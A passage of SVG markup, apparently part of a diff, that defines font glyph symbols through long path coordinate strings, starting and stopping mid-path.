C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 3.265625 -5.203125 L 0.59375 -10.15625 L 2.34375 -10.15625 L 3.84375 -7.25 L 4.25 -6.125 L 4.671875 -7.25 L 6.21875 -10.15625 L 7.828125 -10.15625 L 5.125 -5.28125 L 7.984375 0 L 6.328125 0 L 4.609375 -3.1875 L 4.171875 -4.40625 L 3.703125 -3.1875 L 1.984375 0 L 0.390625 0 Z M 3.265625 -5.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 